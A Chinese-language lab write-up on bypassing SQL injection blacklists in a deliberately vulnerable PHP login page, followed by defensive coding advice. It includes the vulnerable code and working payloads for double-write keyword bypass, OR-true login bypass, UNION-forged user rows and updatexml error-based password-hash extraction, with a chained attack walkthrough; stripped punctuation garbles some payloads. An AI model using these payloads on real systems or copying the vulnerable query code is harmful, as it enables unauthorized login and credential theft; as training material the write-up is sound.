SQL注入黑名单绕过实战:从基础原理到登录验证突破
1. 项目概述从靶场实战到真实世界的安全思维最近在带新人做安全技能训练发现很多朋友在接触Web安全时对SQL注入的理解还停留在“ or 11 --”这种基础Payload上。一旦遇到稍微有点防护的站点比如过滤了关键字、限制了输入长度或者采用了预编译就不知道从何下手了。这让我想起之前带团队在内部做的一次“Bugku SQL注入实战”演练目标就是模拟一个设置了简单黑名单和密码验证机制的环境要求我们绕过这些限制完成注入。这个场景非常典型它不像那些完全开放的靶场而是更贴近现实中一些安全意识不足但又有基础防护的开发团队所搭建的系统。通过这次实战我们不仅复习了各种注入技巧更重要的是梳理了一套面对“有限制条件”时的攻击思路和验证方法。今天我就把这个过程拆开揉碎了讲一讲无论你是刚入门的安全爱好者还是想巩固基础的开发工程师相信都能从中获得一些直接的、可复现的启发。简单来说这次实战的核心目标有两个第一绕过服务端对SQL关键字的黑名单过滤第二在不知道明文密码的情况下通过注入绕过或篡改登录验证逻辑。这对应着两种常见的漏洞场景一个是存在WAFWeb应用防火墙或简单过滤函数的查询点另一个是认证逻辑存在缺陷的登录接口。我们将从信息收集开始一步步分析过滤规则构造绕过Payload最终实现未授权访问或数据窃取。整个过程会涉及到联合查询注入、报错注入、布尔盲注以及时间盲注等多种技术的组合应用关键在于理解防护机制的薄弱点并灵活运用编码、等价替换、注释符等技巧进行突破。2. 环境搭建与目标分析2.1 模拟靶场环境构建为了原汁原味地复现实战场景我们首先需要搭建一个本地测试环境。我推荐使用Docker快速部署一个集成了漏洞点的Web应用比如自己写一个简单的PHP页面或者使用现成的开源靶场如“sqli-labs”的某个定制关卡。这里为了更贴合“黑名单”和“密码验证”的主题我们可以手动编写一个简单的登录验证程序。核心的PHP验证代码可能如下所示仅为示例真实环境更复杂?php // 模拟一个简单的黑名单过滤函数 function blacklist_filter($input) { $blacklist array(union, select, from, where, or, and, sleep, benchmark, order by, group by, information_schema, table_schema, substr, ascii, limit, offset, --, #, /*, */); foreach ($blacklist as $bad_word) { // 不区分大小写的过滤 $input str_ireplace($bad_word, , $input); } return $input; } // 获取用户输入 $username $_POST[username]; $password $_POST[password]; // 应用黑名单过滤 $username blacklist_filter($username); $password blacklist_filter($password); // 连接数据库 $conn new mysqli(localhost, root, password, test_db); if ($conn-connect_error) { die(Connection failed: . $conn-connect_error); } // 构造SQL查询语句 - 这里存在拼接漏洞且使用了黑名单过滤 $sql SELECT * FROM users WHERE username . $username . AND password . md5($password) . ; $result $conn-query($sql); if ($result $result-num_rows 0) { echo Login successful! Welcome, . $username; // 通常这里会设置session等 } else { echo Login failed! Invalid username or password.; } $conn-close(); ?这段代码清晰地展示了两个漏洞点首先SQL查询语句直接拼接了用户输入的username和password这是注入的根本原因。其次它使用了一个blacklist_filter函数试图进行防护但这个防护非常初级。我们的目标就是在这个环境下实现登录绕过或数据提取。注意在实际搭建时你需要创建一个test_db数据库并建立一张users表插入几条测试数据例如admin用户和一个MD5哈希后的密码。永远只在本地或授权的测试环境进行此类操作。2.2 攻击面分析与初步探测面对一个登录框我们的第一步永远是信息收集。我们需要弄清楚后端如何处理我们的输入过滤规则到底有多严格以及有没有其他潜在的注入点。基础探测首先尝试最基础的注入Payload观察反应。输入usernameadminpasswordanything预期如果页面返回数据库错误信息如You have an error in your SQL syntax说明存在注入点且错误信息可见这有利于后续的报错注入。如果页面只是统一返回“登录失败”则可能是盲注场景。实际操作在我们的模拟环境中输入admin后由于黑名单过滤单引号并不在列表中所以它会被保留。拼接后的SQL变为SELECT * FROM users WHERE usernameadmin AND password...这会引发语法错误。如果页面显示了错误详情我们就确认了注入点的存在和类型字符型闭合符为单引号。黑名单规则测试测试黑名单的具体内容。输入usernameadmin union select 1,2,3 --passwordanything观察如果页面正常返回“登录失败”而没有语法错误说明union和select可能被过滤了。我们可以尝试大小写变种Union,SELECT、双写绕过uniunionon,selselectect、或者使用等价符号如||代替or。在我们的过滤函数中它使用了str_ireplace这是不区分大小写的替换。所以UNION和union都会被替换成空字符串。输入admin UNION SELECT 1,2,3 --经过过滤后UNION SELECT被移除剩下admin 1,2,3 --这依然是一个错误的SQL语句但如果我们用双写admin uniunionon selselectect 1,2,3 --过滤函数会移除中间的union和select剩下的部分恰好又组合成了union select从而成功绕过。注释符测试测试哪些注释符可用。常见的注释符有--后面有个空格、#、/* */。我们的黑名单包含了--和#但注意它过滤的是--而不是--。有时候过滤不严谨只过滤--而忽略--或--带空格。我们可以尝试--、#的URL编码%23、或者内联注释/*!...*/。通过以上几步我们基本能摸清这个登录接口的“脾气”它是一个基于黑名单过滤的、存在字符型SQL注入漏洞的登录点错误信息可能可见关键函数被过滤但存在绕过可能。3. 黑名单绕过技术深度解析黑名单过滤是一种“我知道什么有害就禁止什么”的防御思路其有效性完全依赖于名单的完备性。只要名单有遗漏或者过滤逻辑存在缺陷就极易被绕过。下面我们详细拆解几种实战中高效的绕过手法。3.1 编码与混淆技巧这是绕过WAF和简单过滤最常见的一类方法核心思想是让攻击Payload“看起来”不像敏感关键字。URL编码与双重编码服务器端可能在解码输入后进行一次过滤。我们可以对Payload进行URL编码。例如union编码后是%75%6e%69%6f%6e。如果过滤逻辑在处理union字符串之后才进行URL解码那么这个编码后的字符串就能躲过过滤解码后依然生效。有些场景甚至需要双重编码。示例admin %75%6e%69%6f%6e select 1,2,3 --。需要实际测试后端解码顺序。HTML实体编码在Web上下文有时输入会经过HTML解析。例如和会被编码。虽然对SQL关键字直接作用不大但在XSS和SQL注入混合的场景或某些框架的特定处理流程中可能有用。Unicode编码/混淆利用数据库或应用层对Unicode字符的解析特性。例如在某些数据库中SELECT中的S可以用U017F拉丁文长S代替看起来很像但不是标准ASCII字符可能绕过简单的字符串匹配。示例admin ſelect 1,2,3 --这里用了长S。但这种方法高度依赖于数据库版本和配置。内联注释MySQL特性MySQL支持/*!...*/这种格式的注释其中的代码在MySQL中会被执行而在其他数据库中被视为注释。更妙的是可以在!后面指定MySQL版本号如/*!50001union*/表示在MySQL 5.00.01及以上版本中执行union。这可以用来拆分关键字。示例admin /*!50000union*/ select 1,2,3 --。即使应用过滤了union字符串但/*!50000union*/作为一个整体可能不在黑名单中而MySQL会正确执行。3.2 语法等价替换与函数变形当直接的关键字被禁我们可以寻找功能相同的替代品。运算符替换or/and被过滤尝试用||和在某些数据库如SQLite、PostgreSQL中或者用^(异或)构造逻辑。例如11等价于true而aa也是true。绕过or 11可以用|| 11。示例MySQLadmin || 11作为用户名输入密码任意。拼接后SQL为... WHERE usernameadmin || 11 AND password...。由于||在MySQL中默认是字符串连接符而非逻辑或此方法可能不生效这说明了了解数据库特性的重要性。在MySQL中更可靠的是用or的变形如oR大小写或oorr双写。函数与命令替换substring被过滤试试mid,left,right。ascii被过滤试试hex,ordMySQL。sleep被过滤试试benchmark用大量运算来延时。例如BENCHMARK(10000000, MD5(test))。select被过滤在有些注入点可以用handler语句MySQL来读取数据但这不通用。注释符替换与闭合技巧--和#都被过滤我们可以不用注释符而是通过精心构造Payload将原SQL语句的剩余部分“包裹”进我们构造的语句中或者将其转化为可执行代码的一部分。更常见的是利用未过滤的注释符变体。示例如果--带空格被过滤但--加号在URL中被解析为空格没被过滤就可以用--。或者使用#的URL编码%23。在GET请求中%23非常有效。不用注释符的闭合对于username$user AND password$pass如果我们输入admin || 11那么拼接后是usernameadmin || 11 AND password$pass。这里的$pass实际上被包含在了一个字符串比较表达式里11 AND password$pass只要这个表达式整体结果为真即可不一定需要注释掉后面部分。但这依赖于密码验证部分的逻辑能否被“消化”掉风险较高更稳妥的还是用注释符。3.3 双写绕过与大小写绕过这是针对简单字符串替换过滤的“经典把戏”。双写绕过正如之前示例所示如果过滤函数是简单的str_replace(union, , $input)且只执行一次那么输入uniunionon过滤后中间的union被移除两边的uni和on又组合成了union。实操心得测试时要尝试在关键字中间插入被过滤词如selunionect看过滤逻辑是递归执行还是只执行一次。大小写绕过如果过滤是区分大小写的比如str_replace(union, , $input)那么UNION、Union等就可以绕过。但很多现代过滤都使用str_ireplace不区分大小写所以这种方法效果有限。注意事项不要盲目尝试先通过错误信息或响应差异判断过滤函数是否大小写敏感。在我们的模拟靶场中过滤函数是str_ireplace且只执行一次循环非递归。因此双写绕过是对付它的最有效武器。我们可以构造这样的用户名Payloadadmin uniunionon selselectect 1,2,3 --经过过滤函数处理它查找union不区分大小写在uniunionon中找到并移除得到uninon不对仔细看原始字符串是uniunionon。移除中间的union后剩下的是unionunion。是的它成功了。同样selselectect中的select被移除剩下select。最终传递给SQL引擎的字符串是admin union select 1,2,3 --。完美绕过。4. 密码验证机制绕过实战绕过黑名单只是第一步我们的终极目标是突破登录验证。这里通常有两种思路一是让查询条件恒真直接登录任意账户通常是最初级的admin --二是在不知道密码的情况下通过注入修改查询逻辑或者直接窃取密码哈希值进行破解或传递。4.1 布尔逻辑滥用让条件永真这是最直接的登录绕过方式适用于验证逻辑是“查询是否存在此用户名和密码的记录”。原始SQLSELECT * FROM users WHERE username$user AND password$pass目标构造$user使得整个WHERE条件为真无需关心$pass。Payload 1: 注释掉密码检查username admin --password anything拼接后SQLSELECT ... WHERE usernameadmin -- AND password...--注释掉了后面的密码检查只要admin用户存在即登录成功。这是最经典的方式但--很可能被过滤。Payload 2: 构造永真条件使用ORusername admin OR 11 --password anything拼接后SQLSELECT ... WHERE usernameadmin OR 11 -- AND password...由于11恒真OR连接后整个WHERE条件恒真。这会返回数据库中的第一条用户记录不一定是admin。如果应用登录后是以查询结果中的用户名来显示那你可能以其他用户身份登录。Payload 3: 精准定位用户使用OR和LIMITusername admin OR usernameadmin --password anything拼接后SQLSELECT ... WHERE usernameadmin OR usernameadmin -- AND password...这个条件依然为真且明确指定了用户名是admin。但如果有多个admin用户还是会返回多条。可以结合ORDER BY和LIMIT来精确定位例如admin OR usernameadmin LIMIT 1 --。但LIMIT可能也在黑名单中。在我们的靶场中or和--都在黑名单。我们需要用绕过技巧。使用双写绕过oradmin oorr 11 --使用||替代or需确认数据库支持MySQL默认不支持作为逻辑或。或者利用MD5密码验证的特点构造一个密码使其MD5哈希值满足特定条件但这极其困难通常不采用。更可行的方案是既然我们已经能用union select何不直接伪造一条查询结果4.2 联合查询伪造数据成为“任意用户”当我们可以执行union select时登录绕过的思路就变成了让整个查询返回一条我们精心构造的、符合应用预期的用户数据。假设我们通过order by或报错信息已经探测出原查询返回的列数是3列例如id, username, password。原始查询可能类似SELECT id, username, password FROM users WHERE username... AND password...我们的攻击Payloadusername admin union select 1,admin,任何密码的MD5哈希 --password 对应上面MD5哈希的明文密码但这里有个问题我们不知道密码怎么构造正确的MD5哈希实际上应用是拿我们输入的password字段进行MD5运算后去和数据库里的password列比较。如果我们通过union select伪造了一条记录其中密码字段是我们已知明文对应的MD5值那么只要我们输入这个明文密码就能匹配上。步骤选择一个简单的密码比如123456。计算其MD5e10adc3949ba59abbe56e057f20f883e。构造Payloadusername union select 1,hacker, e10adc3949ba59abbe56e057f20f883e --password 123456拼接后的SQLSELECT id, username, password FROM users WHERE username union select 1,hacker, e10adc3949ba59abbe56e057f20f883e -- AND password...由于username大概率不存在原查询部分返回空。union之后我们伪造的数据成为结果集。这条伪造数据的用户名是hacker密码哈希是123456的MD5。后端代码会用我们提交的password123456进行MD5得到e10adc3949ba59abbe56e057f20f883e与查询结果中的密码字段完全匹配。于是登录成功且登录的用户名是hacker。实操心得这种方法的关键在于确定原查询的列数、每列的数据类型以及应用使用哪一列作为登录标识通常是username列。通过union select null,null,null...不断增加null直到页面正常可以确定列数。然后将null替换为具体值比如数字列用1字符串列用test观察页面反应来确定每列类型。4.3 报错注入窃取密码哈希如果我们无法直接登录但可以进行报错注入那么目标就变成了从数据库中提取真实用户的密码哈希值然后拿去破解如果哈希强度不高如MD5或者在某些罕见的“密码哈希传递”漏洞中直接使用。利用MySQL的updatexml或extractvalue函数进行报错注入假设我们已经确认注入点并且可以触发报错回显。Payloadusername admin and updatexml(1, concat(0x7e, (select password from users where usernameadmin limit 1), 0x7e), 1) --这个Payload的含义是如果admin用户存在就执行updatexml函数。concat(0x7e, ..., 0x7e)将查询到的密码哈希与波浪符~连接。updatexml函数的第二个参数需要是合法的XPATH路径而我们传入的是一个包含查询结果的字符串这会导致XPATH语法错误从而在报错信息中将我们查询的结果带出来。结果页面可能会返回一个错误如XPATH syntax error: ~e10adc3949ba59abbe56e057f20f883e~这样我们就获得了admin用户的密码哈希e10adc3949ba59abbe56e057f20f883e。接下来可以将其放入MD5破解网站如cmd5.com或使用本地工具如hashcat进行破解。如果密码简单很快就能得到明文123456然后即可正常登录。注意事项报错注入有长度限制updatexml和extractvalue最多只能返回约32KB的数据但对于单个密码哈希足够了。如果哈希被截断可以使用substring函数分片提取。另外limit 1至关重要确保只返回一行否则子查询返回多行会报错。5. 综合实战从注入到获取管理员权限现在我们将所有技巧串联起来完成一次完整的、针对模拟靶场的攻击链。假设我们已经通过初步探测知道了注入点是字符型、单引号闭合、存在黑名单过滤采用一次性的str_ireplace且错误信息可见。第一步确认注入点与过滤规则输入admin页面返回数据库语法错误确认注入。输入admin and 11 --页面返回“登录失败”无语法错误。输入admin and 12 --同样“登录失败”。说明and被过滤且页面是盲注反应布尔状态不明显但可通过后续联合查询验证。输入admin anandd 11 --观察页面。如果过滤是简单的替换anandd中的and被移除后变成and页面可能表现不同。我们需要找一个能触发明显差异的Payload来测试。更有效的方法是测试union select。第二步确定字段数ORDER BY由于order by可能在黑名单尝试双写。username admin oorrder bbyy 1 --(尝试order by的双写) 如果order by被过滤我们可以尝试用union select的null法来试列数但union select本身也需要绕过。 先测试union和select的双写username admin uniunionon selselectect 1 --如果页面没有语法错误可能还是登录失败说明union select执行了但列数不对。我们逐渐增加null。username admin uniunionon selselectect 1,2 --username admin uniunionon selselectect 1,2,3 --... 当页面出现不同的回显例如出现了数字2和3在页面上或者登录成功的提示说明列数匹配了。假设在1,2,3时页面显示了2和3说明原查询有3列且第2、3列的内容被回显到了页面上。第三步获取数据库信息现在我们可以用union select查询我们想知道的任何信息但需要绕过黑名单中的information_schema。username admin uniunionon selselectect 1, database(), version() --这里database()和version()通常不在黑名单。如果database被过滤可以尝试schema()MySQL。如果information_schema被过滤我们可以用mysql.innodb_table_stats等替代方式查表名但更简单的方法是直接猜解常见表名和列名如users,admin,username,password这在实际渗透测试中也很常见。 假设我们查到数据库名是bugku_db。第四步获取表名和列名绕过information_schema由于information_schema被过滤我们尝试用mysql.innodb_table_stats仅限MySQL且启用InnoDB或直接盲猜。 先猜表名username admin uniunionon selselectect 1,2,3 from users --如果页面正常显示我们注入的2,3说明users表存在。如果报错或回显不同换其他常见名如user,t_user,admin,t_admin等。 猜列名username admin uniunionon selselectect 1, username, password from users --如果页面正常显示出了用户名和密码哈希则成功。否则尝试name,uname,pass,pwd等。第五步提取密码哈希并登录假设我们猜中了username和password列。username admin uniunionon selselectect 1, username, password from users where usernameadmin --这样我们就能在页面回显位置第2、3列看到admin的用户名和密码哈希。 或者使用报错注入更精确username admin and updatexml(1, concat(0x7e, (select concat(username, 0x3a, password) from users limit 1), 0x7e), 1) --获得哈希后进行破解或使用伪造用户法。第六步登录与后续如果破解成功直接用admin和破解的密码登录。 如果无法破解使用联合查询伪造用户法创建一个我们知道密码的用户。username uniunionon selselectect 1,superadmin, md5(MyPass123!) --password MyPass123!登录后用户名即为superadmin。6. 防御建议与安全编程思考作为开发者如何避免自己的应用成为这样的“靶场”从这次实战中我们可以总结出以下几点铁律永远不要使用拼接SQL语句这是万恶之源。使用参数化查询Prepared Statements或ORM框架让数据库驱动来处理参数绑定从根本上杜绝注入。PHP (PDO)示例$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([username $username, password md5($password)]);Java (MyBatis)注意事项务必使用#{}而非${}进行参数传递。#{}是预编译的而${}是字符串替换存在注入风险。奇安信等安全扫描器报SQL注入漏洞很多情况就是发现了${}的使用。黑名单过滤是脆弱的正如我们所演示的黑名单几乎总能被绕过。它不应该作为主要的防御手段顶多作为一层额外的、宽松的输入校验用于过滤一些明显的恶意字符。安全的核心应该是“白名单”思想即只允许已知好的模式通过。最小权限原则数据库连接账户不应使用root或高权限账户。应为Web应用创建独立的数据库用户并只授予其必要的最小权限如SELECT,INSERT在特定表上。这样即使发生注入攻击者也无法执行DROP TABLE,UPDATE系统表等破坏性操作。错误信息处理切勿将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面并在生产环境中关闭错误显示如PHP的display_errors Off。这能极大增加攻击者进行盲注的难度。密码存储使用MD5存储密码在今天已极不安全。应使用强哈希算法如bcrypt,scrypt,Argon2并必须加盐Salt。这能确保即使数据库被拖库攻击者也无法快速破解密码。使用Web应用防火墙WAF对于已上线的老系统在代码层面修复困难时部署WAF可以在网络层拦截大部分已知的注入攻击模式为彻底修复争取时间。但WAF同样可能存在绕过不能视为一劳永逸的解决方案。真正的安全是设计出来的而不是修补出来的。在项目设计之初就将安全编码规范纳入开发流程定期进行代码审计和安全测试如使用SQLMap等工具进行自动化扫描才能构建起稳固的防御体系。这次绕过黑名单的实战与其说是在教攻击方法不如说是一次生动的安全教育让我们从攻击者的视角深刻理解了每一行不安全的代码可能带来的后果。

相关新闻